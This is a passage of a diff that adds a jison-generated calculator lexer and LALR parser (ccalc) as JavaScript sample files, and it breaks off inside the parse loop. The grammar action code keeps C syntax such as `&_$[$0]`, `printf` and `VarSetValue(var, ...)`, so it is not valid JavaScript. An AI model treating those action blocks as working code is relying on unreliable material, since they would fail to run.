+/*! Rule::       \) */ 
+  BeginToken(yy_.yytext); return RBRACE;  
+break;
+case 12 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       ; */ 
+  BeginToken(yy_.yytext); return SEMICOLON;  
+break;
+case 13 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       = */ 
+  BeginToken(yy_.yytext); return ASSIGN;  
+break;
+case 14 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       . */ 
+ 
+    BeginToken(yy_.yytext);
+    return yy_.yytext[0];
+     
+break;
+default:
+  return this.simpleCaseActionClusters[$avoiding_name_collisions];
+}
+},
+simpleCaseActionClusters: {
+
+},
+rules: [
+/^(?:[ \t\r\n]+)/,
+/^(?:(\d)+)/,
+/^(?:(\d)+\.(\d)*)/,
+/^(?:(\d)+[Ee]["+]?(\d)*)/,
+/^(?:(\d)+\.(\d)*[Ee]["+]?(\d)*)/,
+/^(?:([^\W\d]\w*))/,
+/^(?:\+)/,
+/^(?:-)/,
+/^(?:\*)/,
+/^(?:\/)/,
+/^(?:\()/,
+/^(?:\))/,
+/^(?:;)/,
+/^(?:=)/,
+/^(?:.)/
+],
+conditions: {
+  "INITIAL": {
+    rules: [
+      0,
+      1,
+      2,
+      3,
+      4,
+      5,
+      6,
+      7,
+      8,
+      9,
+      10,
+      11,
+      12,
+      13,
+      14
+    ],
+    inclusive: true
+  }
+}
+};
+
+/*--------------------------------------------------------------------
+ * lex.l
+ *------------------------------------------------------------------*/;
+return lexer;
+})();
\ No newline at end of file
diff --git a/samples/JavaScript/ccalc-parse.js b/samples/JavaScript/ccalc-parse.js
new file mode 100644
index 0000000000..cde2974799
--- /dev/null
+++ b/samples/JavaScript/ccalc-parse.js
@@ -0,0 +1,2145 @@
+/* parser generated by jison 0.4.17-144 */
+/*
+ * Returns a Parser object of the following structure:
+ *
+ *  Parser: {
+ *    yy: {}     The so-called "shared state" or rather the *source* of it;
+ *               the real "shared state" `yy` passed around to
+ *               the rule actions, etc. is a derivative/copy of this one,
+ *               not a direct reference!
+ *  }
+ *
+ *  Parser.prototype: {
+ *    yy: {},
+ *    EOF: 1,
+ *    TERROR: 2,
+ *
+ *    trace: function(errorMessage, ...),
+ *
+ *    JisonParserError: function(msg, hash),
+ *
+ *    quoteName: function(name),
+ *               Helper function which can be overridden by user code later on: put suitable
+ *               quotes around literal IDs in a description string.
+ *
+ *    originalQuoteName: function(name),
+ *               The basic quoteName handler provided by JISON.
+ *               `cleanupAfterParse()` will clean up and reset `quoteName()` to reference this function
+ *               at the end of the `parse()`.
+ *
+ *    describeSymbol: function(symbol),
+ *               Return a more-or-less human-readable description of the given symbol, when
+ *               available, or the symbol itself, serving as its own 'description' for lack
+ *               of something better to serve up.
+ *
+ *               Return NULL when the symbol is unknown to the parser.
+ *
+ *    symbols_: {associative list: name ==> number},
+ *    terminals_: {associative list: number ==> name},
+ *    nonterminals: {associative list: rule-name ==> {associative list: number ==> rule-alt}},
+ *    terminal_descriptions_: (if there are any) {associative list: number ==> description},
+ *    productions_: [...],
+ *
+ *    performAction: function parser__performAction(yytext, yyleng, yylineno, yyloc, yy, yystate, $0, $$, _$, yystack, yysstack, ...),
+ *               where `...` denotes the (optional) additional arguments the user passed to
+ *               `parser.parse(str, ...)`
+ *
+ *    table: [...],
+ *               State transition table
+ *               ----------------------
+ *
+ *               index levels are:
+ *               - `state`  --> hash table
+ *               - `symbol` --> action (number or array)
+ *
+ *                 If the `action` is an array, these are the elements' meaning:
+ *                 - index [0]: 1 = shift, 2 = reduce, 3 = accept
+ *                 - index [1]: GOTO `state`
+ *
+ *                 If the `action` is a number, it is the GOTO `state`
+ *
+ *    defaultActions: {...},
+ *
+ *    parseError: function(str, hash),
+ *    yyErrOk: function(),
+ *    yyClearIn: function(),
+ *
+ *    constructParseErrorInfo: function(error_message, exception_object, expected_token_set, is_recoverable),
+ *               Helper function **which will be set up during the first invocation of the `parse()` method**.
+ *               Produces a new errorInfo 'hash object' which can be passed into `parseError()`.
+ *               See it's use in this parser kernel in many places; example usage:
+ *
+ *                   var infoObj = parser.constructParseErrorInfo('fail!', null,
+ *                                     parser.collect_expected_token_set(state), true);
+ *                   var retVal = parser.parseError(infoObj.errStr, infoObj);
+ *
+ *    originalParseError: function(str, hash),
+ *               The basic parseError handler provided by JISON.
+ *               `cleanupAfterParse()` will clean up and reset `parseError()` to reference this function
+ *               at the end of the `parse()`.
+ *
+ *    options: { ... parser %options ... },
+ *
+ *    parse: function(input[, args...]),
+ *               Parse the given `input` and return the parsed value (or `true` when none was provided by
+ *               the root action, in which case the parser is acting as a *matcher*).
+ *               You MAY use the additional `args...` parameters as per `%parse-param` spec of this grammar:
+ *               these extra `args...` are passed verbatim to the grammar rules' action code.
+ *
+ *    cleanupAfterParse: function(resultValue, invoke_post_methods),
+ *               Helper function **which will be set up during the first invocation of the `parse()` method**.
+ *               This helper API is invoked at the end of the `parse()` call, unless an exception was thrown
+ *               and `%options no-try-catch` has been defined for this grammar: in that case this helper MAY
+ *               be invoked by calling user code to ensure the `post_parse` callbacks are invoked and
+ *               the internal parser gets properly garbage collected under these particular circumstances.
+ *
+ *    lexer: {
+ *        yy: {...},           A reference to the so-called "shared state" `yy` once
+ *                             received via a call to the `.setInput(input, yy)` lexer API.
+ *        EOF: 1,
+ *        ERROR: 2,
+ *        JisonLexerError: function(msg, hash),
+ *        parseError: function(str, hash),
+ *        setInput: function(input, [yy]),
+ *        input: function(),
+ *        unput: function(str),
+ *        more: function(),
+ *        reject: function(),
+ *        less: function(n),
+ *        pastInput: function(n),
+ *        upcomingInput: function(n),
+ *        showPosition: function(),
+ *        test_match: function(regex_match_array, rule_index),
+ *        next: function(),
+ *        lex: function(),
+ *        begin: function(condition),
+ *        pushState: function(condition),
+ *        popState: function(),
+ *        topState: function(),
+ *        _currentRules: function(),
+ *        stateStackSize: function(),
+ *
+ *        options: { ... lexer %options ... },
+ *
+ *        performAction: function(yy, yy_, $avoiding_name_collisions, YY_START),
+ *        rules: [...],
+ *        conditions: {associative list: name ==> set},
+ *    }
+ *  }
+ *
+ *
+ *  token location info (@$, _$, etc.): {
+ *    first_line: n,
+ *    last_line: n,
+ *    first_column: n,
+ *    last_column: n,
+ *    range: [start_number, end_number]
+ *               (where the numbers are indexes into the input string, zero-based)
+ *  }
+ *
+ * ---
+ *
+ * The parseError function receives a 'hash' object with these members for lexer and
+ * parser errors:
+ *
+ *  {
+ *    text:        (matched text)
+ *    token:       (the produced terminal token, if any)
+ *    token_id:    (the produced terminal token numeric ID, if any)
+ *    line:        (yylineno)
+ *    loc:         (yylloc)
+ *  }
+ *
+ * parser (grammar) errors will also provide these additional members:
+ *
+ *  {
+ *    expected:    (array describing the set of expected tokens;
+ *                  may be UNDEFINED when we cannot easily produce such a set)
+ *    state:       (integer (or array when the table includes grammar collisions);
+ *                  represents the current internal state of the parser kernel.
+ *                  can, for example, be used to pass to the `collect_expected_token_set()`
+ *                  API to obtain the expected token set)
+ *    action:      (integer; represents the current internal action which will be executed)
+ *    new_state:   (integer; represents the next/planned internal state, once the current
+ *                  action has executed)
+ *    recoverable: (boolean: TRUE when the parser MAY have an error recovery rule
+ *                  available for this particular error)
+ *    state_stack: (array: the current parser LALR/LR internal state stack; this can be used,
+ *                  for instance, for advanced error analysis and reporting)
+ *    value_stack: (array: the current parser LALR/LR internal `$$` value stack; this can be used,
+ *                  for instance, for advanced error analysis and reporting)
+ *    location_stack: (array: the current parser LALR/LR internal location stack; this can be used,
+ *                  for instance, for advanced error analysis and reporting)
+ *    yy:          (object: the current parser internal "shared state" `yy`
+ *                  as is also available in the rule actions; this can be used,
+ *                  for instance, for advanced error analysis and reporting)
+ *    lexer:       (reference to the current lexer instance used by the parser)
+ *  }
+ *
+ * while `this` will reference the current parser instance.
+ *
+ *  When `parseError` is invoked by the lexer, `this` will still reference the related *parser*
+ *  instance, while these additional `hash` fields will also be provided:
+ *
+ *  {
+ *    lexer:       (reference to the current lexer instance which reported the error)
+ *  }
+ *
+ *  When `parseError` is invoked by the parser due to a **JavaScript exception** being fired
+ *  from either the parser or lexer, `this` will still reference the related *parser*
+ *  instance, while these additional `hash` fields will also be provided:
+ *
+ *  {
+ *    exception:   (reference to the exception thrown)
+ *  }
+ *
+ *  Please do note that in the latter situation, the `expected` field will be omitted as
+ *  type of failure is assumed not to be due to *parse errors* but rather due to user
+ *  action code in either parser or lexer failing unexpectedly.
+ *
+ * ---
+ *
+ * You can specify parser options by setting / modifying the `.yy` object of your Parser instance.
+ * These options are available:
+ *
+ * ### options which are global for all parser instances
+ *
+ *  Parser.pre_parse: function(yy [, optional parse() args])
+ *                 optional: you can specify a pre_parse() function in the chunk following
+ *                 the grammar, i.e. after the last `%%`.
+ *  Parser.post_parse: function(yy, retval [, optional parse() args]) { return retval; }
+ *                 optional: you can specify a post_parse() function in the chunk following
+ *                 the grammar, i.e. after the last `%%`. When it does not return any value,
+ *                 the parser will return the original `retval`.
+ *
+ * ### options which can be set up per parser instance
+ *  
+ *  yy: {
+ *      pre_parse:  function(yy [, optional parse() args])
+ *                 optional: is invoked before the parse cycle starts (and before the first
+ *                 invocation of `lex()`) but immediately after the invocation of
+ *                 `parser.pre_parse()`).
+ *      post_parse: function(yy, retval [, optional parse() args]) { return retval; }
+ *                 optional: is invoked when the parse terminates due to success ('accept')
+ *                 or failure (even when exceptions are thrown).
+ *                 `retval` contains the return value to be produced by `Parser.parse()`;
+ *                 this function can override the return value by returning another. 
+ *                 When it does not return any value, the parser will return the original
+ *                 `retval`. 
+ *                 This function is invoked immediately before `Parser.post_parse()`.
+ *
+ *      parseError: function(str, hash)
+ *                 optional: overrides the default `parseError` function.
+ *      quoteName: function(name),
+ *                 optional: overrides the default `quoteName` function.
+ *  }
+ *
+ *  parser.lexer.options: {
+ *      pre_lex:  function()
+ *                 optional: is invoked before the lexer is invoked to produce another token.
+ *                 `this` refers to the Lexer object.
+ *      post_lex: function(token) { return token; }
+ *                 optional: is invoked when the lexer has produced a token `token`;
+ *                 this function can override the returned token value by returning another.
+ *                 When it does not return any (truthy) value, the lexer will return
+ *                 the original `token`.
+ *                 `this` refers to the Lexer object.
+ *
+ *      ranges: boolean
+ *                 optional: `true` ==> token location info will include a .range[] member.
+ *      flex: boolean
+ *                 optional: `true` ==> flex-like lexing behaviour where the rules are tested
+ *                 exhaustively to find the longest match.
+ *      backtrack_lexer: boolean
+ *                 optional: `true` ==> lexer regexes are tested in order and for invoked;
+ *                 the lexer terminates the scan when a token is returned by the action code.
+ *      xregexp: boolean
+ *                 optional: `true` ==> lexer rule regexes are "extended regex format" requiring the
+ *                 `XRegExp` library. When this %option has not been specified at compile time, all lexer
+ *                 rule regexes have been written as standard JavaScript RegExp expressions.
+ *  }
+ */
+var ccalcParse = (function () {
+
+// See also:
+// http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript/#35881508
+// but we keep the prototype.constructor and prototype.name assignment lines too for compatibility
+// with userland code which might access the derived class in a 'classic' way.
+function JisonParserError(msg, hash) {
+    Object.defineProperty(this, 'name', {
+        enumerable: false,
+        writable: false,
+        value: 'JisonParserError'
+    });
+
+    if (msg == null) msg = '???';
+
+    Object.defineProperty(this, 'message', {
+        enumerable: false,
+        writable: true,
+        value: msg
+    });
+
+    this.hash = hash;
+
+    var stacktrace;
+    if (hash && hash.exception instanceof Error) {
+        var ex2 = hash.exception;
+        this.message = ex2.message || msg;
+        stacktrace = ex2.stack;
+    }
+    if (!stacktrace) {
+        if (Error.hasOwnProperty('captureStackTrace')) { // V8
+            Error.captureStackTrace(this, this.constructor);
+        } else {
+            stacktrace = (new Error(msg)).stack;
+        }
+    }
+    if (stacktrace) {
+        Object.defineProperty(this, 'stack', {
+            enumerable: false,
+            writable: false,
+            value: stacktrace
+        });
+    }
+}
+
+if (typeof Object.setPrototypeOf === 'function') {
+    Object.setPrototypeOf(JisonParserError.prototype, Error.prototype);
+} else {
+    JisonParserError.prototype = Object.create(Error.prototype);
+}
+JisonParserError.prototype.constructor = JisonParserError;
+JisonParserError.prototype.name = 'JisonParserError';
+
+
+
+// helper: reconstruct the productions[] table
+function bp(s) {
+    var rv = [];
+    var p = s.pop;
+    var r = s.rule;
+    for (var i = 0, l = p.length; i < l; i++) {
+        rv.push([
+            p[i],
+            r[i]
+        ]);
+    }
+    return rv;
+}
+
+
+
+// helper: reconstruct the 'goto' table
+function bt(s) {
+    var rv = [];
+    var d = s.len;
+    var y = s.symbol;
+    var t = s.type;
+    var a = s.state;
+    var m = s.mode;
+    var g = s.goto;
+    for (var i = 0, l = d.length; i < l; i++) {
+        var n = d[i];
+        var q = {};
+        for (var j = 0; j < n; j++) {
+            var z = y.shift();
+            switch (t.shift()) {
+            case 2:
+                q[z] = [
+                    m.shift(),
+                    g.shift()
+                ];
+                break;
+
+            case 0:
+                q[z] = a.shift();
+                break;
+
+            default:
+                // type === 1: accept
+                q[z] = [
+                    3
+                ];
+            }
+        }
+        rv.push(q);
+    }
+    return rv;
+}
+
+// helper: runlength encoding with increment step: code, length: step (default step = 0)
+// `this` references an array
+function s(c, l, a) {
+    a = a || 0;
+    for (var i = 0; i < l; i++) {
+        this.push(c);
+        c += a;
+    }
+}
+
+// helper: duplicate sequence from *relative* offset and length.
+// `this` references an array
+function c(i, l) {
+    i = this.length - i;
+    for (l += i; i < l; i++) {
+        this.push(this[i]);
+    }
+}
+
+// helper: unpack an array using helpers and data, all passed in an array argument 'a'.
+function u(a) {
+    var rv = [];
+    for (var i = 0, l = a.length; i < l; i++) {
+        var e = a[i];
+        // Is this entry a helper function?
+        if (typeof e === 'function') {
+            i++;
+            e.apply(rv, a[i]);
+        } else {
+            rv.push(e);
+        }
+    }
+    return rv;
+}
+
+var parser = {
+trace: function no_op_trace() { },
+JisonParserError: JisonParserError,
+yy: {},
+options: {
+  type: "lalr",
+  errorRecoveryTokenDiscardCount: 3
+},
+symbols_: {
+  "$accept": 0,
+  "$end": 1,
+  "ADD": 12,
+  "ASSIGN": 7,
+  "DIV": 14,
+  "EOF": 1,
+  "IDENTIFIER": 6,
+  "LBRACE": 9,
+  "MULT": 13,
+  "RBRACE": 10,
+  "SEMICOLON": 5,
+  "SUB": 11,
+  "VALUE": 15,
+  "error": 2,
+  "expression": 8,
+  "program": 3,
+  "statement": 4
+},
+terminals_: {
+  1: "EOF",
+  2: "error",
+  5: "SEMICOLON",
+  6: "IDENTIFIER",
+  7: "ASSIGN",
+  9: "LBRACE",
+  10: "RBRACE",
+  11: "SUB",
+  12: "ADD",
+  13: "MULT",
+  14: "DIV",
+  15: "VALUE"
+},
+TERROR: 2,
+EOF: 1,
+
+// internals: defined here so the object *structure* doesn't get modified by parse() et al,
+// thus helping JIT compilers like Chrome V8.
+originalQuoteName: null,
+originalParseError: null,
+cleanupAfterParse: null,
+constructParseErrorInfo: null,
+
+__reentrant_call_depth: 0,       // INTERNAL USE ONLY
+
+// APIs which will be set up depending on user action code analysis:
+//yyErrOk: 0,
+//yyClearIn: 0,
+
+// Helper APIs
+// -----------
+
+// Helper function which can be overridden by user code later on: put suitable quotes around
+// literal IDs in a description string.
+quoteName: function parser_quoteName(id_str) {
+    return '"' + id_str + '"';
+},
+
+// Return a more-or-less human-readable description of the given symbol, when available,
+// or the symbol itself, serving as its own 'description' for lack of something better to serve up.
+//
+// Return NULL when the symbol is unknown to the parser.
+describeSymbol: function parser_describeSymbol(symbol) {
+    if (symbol !== this.EOF && this.terminal_descriptions_ && this.terminal_descriptions_[symbol]) {
+        return this.terminal_descriptions_[symbol];
+    }
+    else if (symbol === this.EOF) {
+        return 'end of input';
+    }
+    else if (this.terminals_[symbol]) {
+        return this.quoteName(this.terminals_[symbol]);
+    }
+    // Otherwise... this might refer to a RULE token i.e. a non-terminal: see if we can dig that one up.
+    //
+    // An example of this may be where a rule's action code contains a call like this:
+    //
+    //      parser.describeSymbol(#$)
+    //
+    // to obtain a human-readable description or name of the current grammar rule. This comes handy in
+    // error handling action code blocks, for example.
+    var s = this.symbols_;
+    for (var key in s) {
+        if (s[key] === symbol) {
+            return key;
+        }
+    }
+    return null;
+},
+
+// Produce a (more or less) human-readable list of expected tokens at the point of failure.
+//
+// The produced list may contain token or token set descriptions instead of the tokens
+// themselves to help turning this output into something that easier to read by humans
+// unless `do_not_describe` parameter is set, in which case a list of the raw, *numeric*,
+// expected terminals and nonterminals is produced.
+//
+// The returned list (array) will not contain any duplicate entries.
+collect_expected_token_set: function parser_collect_expected_token_set(state, do_not_describe) {
+    var TERROR = this.TERROR;
+    var tokenset = [];
+    var check = {};
+    // Has this (error?) state been outfitted with a custom expectations description text for human consumption?
+    // If so, use that one instead of the less palatable token set.
+    if (!do_not_describe && this.state_descriptions_ && this.state_descriptions_[state]) {
+        return [
+            this.state_descriptions_[state]
+        ];
+    }
+    for (var p in this.table[state]) {
+        p = +p;
+        if (p !== TERROR) {
+            var d = do_not_describe ? p : this.describeSymbol(p);
+            if (d && !check[d]) {
+                tokenset.push(d);
+                check[d] = true;        // Mark this token description as already mentioned to prevent outputting duplicate entries.
+            }
+        }
+    }
+    return tokenset;
+},
+productions_: bp({
+  pop: u([
+  s,
+  [3, 3],
+  4,
+  4,
+  s,
+  [8, 8]
+]),
+  rule: u([
+  3,
+  2,
+  4,
+  3,
+  1,
+  3,
+  2,
+  s,
+  [3, 4],
+  1,
+  1
+])
+}),
+performAction: function parser__PerformAction(yytext, yyloc, yy, yystate /* action[1] */, $0, $$ /* vstack */, _$ /* lstack */) {
+/* this == yyval */
+
+switch (yystate) {
+case 3:
+    /*! Production::    program : statement error SEMICOLON program */
+    yy.parser.yyErrOk();
+    break;
+
+case 4:
+    /*! Production::    statement : IDENTIFIER ASSIGN expression */
+    VarSetValue(var, $$[$0]);
+    break;
+
+case 6:
+    /*! Production::    expression : LBRACE expression RBRACE */
+    this.$ = $$[$0 - 1];
+    break;
+
+case 7:
+    /*! Production::    expression : SUB expression */
+    this.$ = - $$[$0];
+    break;
+
+case 8:
+    /*! Production::    expression : expression ADD expression */
+    this.$ = ReduceAdd($$[$0 - 2], $$[$0], &_$[$0]);
+    if (  debug  )
+      printf("reduce %lf + %lf => %lf\n", $$[$0 - 2], $$[$0], this.$);
+    break;
+
+case 9:
+    /*! Production::    expression : expression SUB expression */
+    this.$ = ReduceSub($$[$0 - 2], $$[$0], &_$[$0]);
+    if (  debug  )
+      printf("reduce %lf - %lf => %lf\n", $$[$0 - 2], $$[$0], this.$);
+    break;
+
+case 10:
+    /*! Production::    expression : expression MULT expression */
+    this.$ = ReduceMult($$[$0 - 2], $$[$0], &_$[$0]);
+    if (  debug  )
+      printf("reduce %lf * %lf => %lf\n", $$[$0 - 2], $$[$0], this.$);
+    break;
+
+case 11:
+    /*! Production::    expression : expression DIV expression */
+    this.$ = ReduceDiv($$[$0 - 2], $$[$0], &_$[$0]);
+    if (  debug  )
+      printf("reduce %lf / %lf => %lf\n", $$[$0 - 2], $$[$0], this.$);
+    break;
+
+case 12:
+    /*! Production::    expression : VALUE */
+    this.$ = $$[$0];
+    break;
+
+case 13:
+    /*! Production::    expression : IDENTIFIER */
+    this.$ = VarGetValue($$[$0], &_$[$0]);
+    if (  debug  )
+      printf("identifier %s => %lf\n", $$[$0], this.$);
+    break;
+
+}
+},
+table: bt({
+  len: u([
+  7,
+  1,
+  2,
+  7,
+  6,
+  5,
+  5,
+  7,
+  8,
+  1,
+  s,
+  [5, 6],
+  7,
+  7,
+  1,
+  7,
+  6,
+  s,
+  [7, 5],
+  1
+]),
+  symbol: u([
+  3,
+  4,
+  6,
+  8,
+  9,
+  11,
+  15,
+  1,
+  2,
+  5,
+  2,
+  5,
+  7,
+  s,
+  [11, 4, 1],
+  2,
+  5,
+  c,
+  [6, 4],
+  c,
+  [21, 5],
+  c,
+  [5, 5],
+  2,
+  5,
+  s,
+  [10, 5, 1],
+  1,
+  c,
+  [41, 7],
+  5,
+  c,
+  [26, 10],
+  c,
+  [5, 15],
+  c,
+  [39, 5],
+  c,
+  [46, 7],
+  c,
+  [53, 15],
+  c,
+  [84, 6],
+  c,
+  [28, 14],
+  c,
+  [7, 21],
+  1
+]),
+  type: u([
+  0,
+  0,
+  2,
+  0,
+  s,
+  [2, 3],
+  1,
+  s,
+  [2, 16],
+  c,
+  [21, 4],
+  c,
+  [5, 6],
+  c,
+  [17, 8],
+  c,
+  [41, 6],
+  c,
+  [26, 12],
+  c,
+  [5, 15],
+  s,
+  [2, 19],
+  c,
+  [53, 9],
+  s,
+  [2, 40]
+]),
+  state: u([
+  1,
+  2,
+  4,
+  15,
+  17,
+  18,
+  2,
+  4,
+  s,
+  [20, 5, 1],
+  26,
+  2,
+  4
+]),
+  mode: u([
+  s,
+  [1, 6],
+  2,
+  2,
+  c,
+  [3, 3],
+  s,
+  [2, 4],
+  s,
+  [1, 12],
+  s,
+  [2, 8],
+  s,
+  [1, 30],
+  s,
+  [2, 15],
+  c,
+  [78, 7],
+  c,
+  [25, 8],
+  c,
+  [7, 14],
+  s,
+  [2, 17]
+]),
+  goto: u([
+  3,
+  5,
+  6,
+  7,
+  9,
+  8,
+  13,
+  13,
+  10,
+  s,
+  [13, 4],
+  5,
+  5,
+  12,
+  11,
+  13,
+  14,
+  16,
+  c,
+  [19, 3],
+  c,
+  [4, 4],
+  s,
+  [12, 7],
+  2,
+  c,
+  [35, 4],
+  19,
+  c,
+  [21, 8],
+  c,
+  [4, 12],
+  25,
+  c,
+  [46, 4],
+  s,
+  [13, 7],
+  s,
+  [7, 7],
+  1,
+  c,
+  [45, 4],
+  4,
+  4,
+  c,
+  [25, 4],
+  s,
+  [8, 5],
+  13,
+  14,
+  s,
+  [9, 5],
+  13,
+  14,
+  s,
+  [10, 7],
+  s,
+  [11, 7],
+  s,
+  [6, 7],
+  3
+])
+}),
+defaultActions: {
+  18: 1,
+  26: 3
+},
+parseError: function parseError(str, hash) {
+    if (hash.recoverable) {
+        this.trace(str);
+        hash.destroy();             // destroy... well, *almost*!
+        // assert('recoverable' in hash);
+    } else {
+        throw new this.JisonParserError(str, hash);
+    }
+},
+parse: function parse(input) {
+    var self = this,
+        stack = new Array(128),         // token stack: stores token which leads to state at the same index (column storage)
+        sstack = new Array(128),        // state stack: stores states
+
+        vstack = new Array(128),        // semantic value stack
+        lstack = new Array(128),        // location stack
+        table = this.table,
+        sp = 0;                         // 'stack pointer': index into the stacks
+
+    var recovering = 0;                 // (only used when the grammar contains error recovery rules)
+    var TERROR = this.TERROR,
+        EOF = this.EOF,
+        ERROR_RECOVERY_TOKEN_DISCARD_COUNT = (this.options.errorRecoveryTokenDiscardCount | 0) || 3;
+    var NO_ACTION = [0, table.length /* ensures that anyone using this new state will fail dramatically! */];
+
+    //this.reductionCount = this.shiftCount = 0;
+
+    var lexer;
+    if (this.__lexer__) {
+        lexer = this.__lexer__;
+    } else {
+        lexer = this.__lexer__ = Object.create(this.lexer);
+    }
+
+    var sharedState = {
+      yy: {
+        parseError: null,
+        quoteName: null,
+        lexer: null,
+        parser: null,
+        pre_parse: null,
+        post_parse: null
+      }
+    };
+    // copy state
+    for (var k in this.yy) {
+      if (Object.prototype.hasOwnProperty.call(this.yy, k)) {
+        sharedState.yy[k] = this.yy[k];
+      }
+    }
+
+    sharedState.yy.lexer = lexer;
+    sharedState.yy.parser = this;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (this.yyErrOk === 1) {
+        this.yyErrOk = function yyErrOk() {
+            recovering = 0;
+        };
+    }
+
+
+
+
+
+
+    lexer.setInput(input, sharedState.yy);
+
+    if (typeof lexer.yylloc === 'undefined') {
+        lexer.yylloc = {};
+    }
+    var yyloc = lexer.yylloc;
+    lstack[sp] = yyloc;
+    vstack[sp] = null;
+    sstack[sp] = 0;
+    stack[sp] = 0;
+    ++sp;
+
+    if (typeof lexer.yytext === 'undefined') {
+        lexer.yytext = '';
+    }
+    var yytext = lexer.yytext;
+    if (typeof lexer.yylineno === 'undefined') {
+        lexer.yylineno = 0;
+    }
+
+
+
+
+    var ranges = lexer.options && lexer.options.ranges;
+
+    // Does the shared state override the default `parseError` that already comes with this instance?
+    if (typeof sharedState.yy.parseError === 'function') {
+        this.parseError = sharedState.yy.parseError;
+    } else {
+        this.parseError = this.originalParseError;
+    }
+
+    // Does the shared state override the default `quoteName` that already comes with this instance?
+    if (typeof sharedState.yy.quoteName === 'function') {
+        this.quoteName = sharedState.yy.quoteName;
+    } else {
+        this.quoteName = this.originalQuoteName;
+    }
+
+    // set up the cleanup function; make it an API so that external code can re-use this one in case of
+    // calamities or when the `%options no-try-catch` option has been specified for the grammar, in which
+    // case this parse() API method doesn't come with a `finally { ... }` block any more!
+    //
+    // NOTE: as this API uses parse() as a closure, it MUST be set again on every parse() invocation,
+    //       or else your `sharedState`, etc. references will be *wrong*!
+    //
+    //       The function resets itself to the previous set up one to support reentrant parsers.
+    this.cleanupAfterParse = function parser_cleanupAfterParse(resultValue, invoke_post_methods) {
+        var rv;
+
+        if (invoke_post_methods) {
+            if (sharedState.yy.post_parse) {
+                rv = sharedState.yy.post_parse.call(this, sharedState.yy, resultValue);
+                if (typeof rv !== 'undefined') resultValue = rv;
+            }
+            if (this.post_parse) {
+                rv = this.post_parse.call(this, sharedState.yy, resultValue);
+                if (typeof rv !== 'undefined') resultValue = rv;
+            }
+        }
+
+        if (this.__reentrant_call_depth > 1) return resultValue;        // do not (yet) kill the sharedState when this is a reentrant run.
+
+        // prevent lingering circular references from causing memory leaks:
+        if (sharedState.yy) {
+            sharedState.yy.parseError = undefined;
+            sharedState.yy.quoteName = undefined;
+            sharedState.yy.lexer = undefined;
+            sharedState.yy.parser = undefined;
+            if (lexer.yy === sharedState.yy) {
+                lexer.yy = undefined;
+            }
+        }
+        sharedState.yy = undefined;
+        this.parseError = this.originalParseError;
+        this.quoteName = this.originalQuoteName;
+
+        // nuke the vstack[] array at least as that one will still reference obsoleted user values.
+        // To be safe, we nuke the other internal stack columns as well...
+        stack.length = 0;               // fastest way to nuke an array without overly bothering the GC
+        sstack.length = 0;
+        lstack.length = 0;
+        vstack.length = 0;
+        stack_pointer = 0;
+
+        return resultValue;
+    };
+
+    // NOTE: as this API uses parse() as a closure, it MUST be set again on every parse() invocation,
+    //       or else your `lexer`, `sharedState`, etc. references will be *wrong*!
+    this.constructParseErrorInfo = function parser_constructParseErrorInfo(msg, ex, expected, recoverable) {
+        return {
+            errStr: msg,
+            exception: ex,
+            text: lexer.match,
+            value: lexer.yytext,
+            token: this.describeSymbol(symbol) || symbol,
+            token_id: symbol,
+            line: lexer.yylineno,
+            loc: lexer.yylloc,
+            expected: expected,
+            recoverable: recoverable,
+            state: state,
+            action: action,
+            new_state: newState,
+            symbol_stack: stack,
+            state_stack: sstack,
+            value_stack: vstack,
+            location_stack: lstack,
+            stack_pointer: sp,
+            yy: sharedState.yy,
+            lexer: lexer,
+
+            // and make sure the error info doesn't stay due to potential ref cycle via userland code manipulations (memory leak opportunity!):
+            destroy: function destructParseErrorInfo() {
+                // remove cyclic references added to error info:
+                // info.yy = null;
+                // info.lexer = null;
+                // info.value = null;
+                // info.value_stack = null;
+                // ...
+                var rec = !!this.recoverable;
+                for (var key in this) {
+                    if (this.hasOwnProperty(key) && typeof key !== 'function') {
+                        this[key] = undefined;
+                    }
+                }
+                this.recoverable = rec;
+            }
+        };
+    };
+
+
+    function lex() {
+        var token = lexer.lex();
+        // if token isn't its numeric value, convert
+        if (typeof token !== 'number') {
+            token = self.symbols_[token] || token;
+        }
+        return token || EOF;
+    }
+
+
+    var symbol = 0;
+    var preErrorSymbol = 0;
+    var state, action, r, t;
+    var yyval = {};
+    var p, len, this_production;
+    var lstack_begin, lstack_end;
+    var newState;
+    var retval = false;
+
+
+    // Return the rule stack depth where the nearest error rule can be found.
+    // Return -1 when no error recovery rule was found.
+    function locateNearestErrorRecoveryRule(state) {
+        var stack_probe = sp - 1;
+        var depth = 0;
+
+        // try to recover from error
+        for (;;) {
+            // check for error recovery rule in this state
+            var t = table[state][TERROR] || NO_ACTION;
+            if (t[0]) {
+                return depth;
+            }
+            if (state === 0 /* $accept rule */ || stack_probe < 1) {
+                return -1; // No suitable error recovery rule available.
+            }
+            --stack_probe; // popStack(1): [symbol, action]
+            state = sstack[stack_probe];
+            ++depth;
+        }
+    }
+
+    try {
+        this.__reentrant_call_depth++;
+
+        if (this.pre_parse) {
+            this.pre_parse.call(this, sharedState.yy);
+        }
+        if (sharedState.yy.pre_parse) {
+            sharedState.yy.pre_parse.call(this, sharedState.yy);
+        }
+
+        newState = sstack[sp - 1];
+        for (;;) {
+            // retrieve state number from top of stack
+            state = newState;               // sstack[sp - 1];
+
+            // use default actions if available
+            if (this.defaultActions[state]) {
+                action = 2;
+                newState = this.defaultActions[state];
+            } else {
+                // The single `==` condition below covers both these `===` comparisons in a single
+                // operation:
+                //
+                //     if (symbol === null || typeof symbol === 'undefined') ...
+                if (!symbol) {
+                    symbol = lex();
+                }
+                // read action for current state and first input
+                t = (table[state] && table[state][symbol]) || NO_ACTION;
+                newState = t[1];
+                action = t[0];
+
+
+
+
+                // handle parse error
+                if (!action) {
+                    // first see if there's any chance at hitting an error recovery rule:
+                    var error_rule_depth = locateNearestErrorRecoveryRule(state);
+                    var errStr = null;
+                    var errSymbolDescr = (this.describeSymbol(symbol) || symbol);
+                    var expected = this.collect_expected_token_set(state);
+
+                    if (!recovering) {
+                        // Report error
+                        if (lexer.showPosition) {
+                            errStr = 'Parse error on line ' + (lexer.yylineno + 1) + ':\n' + lexer.showPosition(79 - 10, 10) + '\n';
+                        } else {
+                            errStr = 'Parse error on line ' + (lexer.yylineno + 1) + ': ';
+                        }
+                        if (expected.length) {
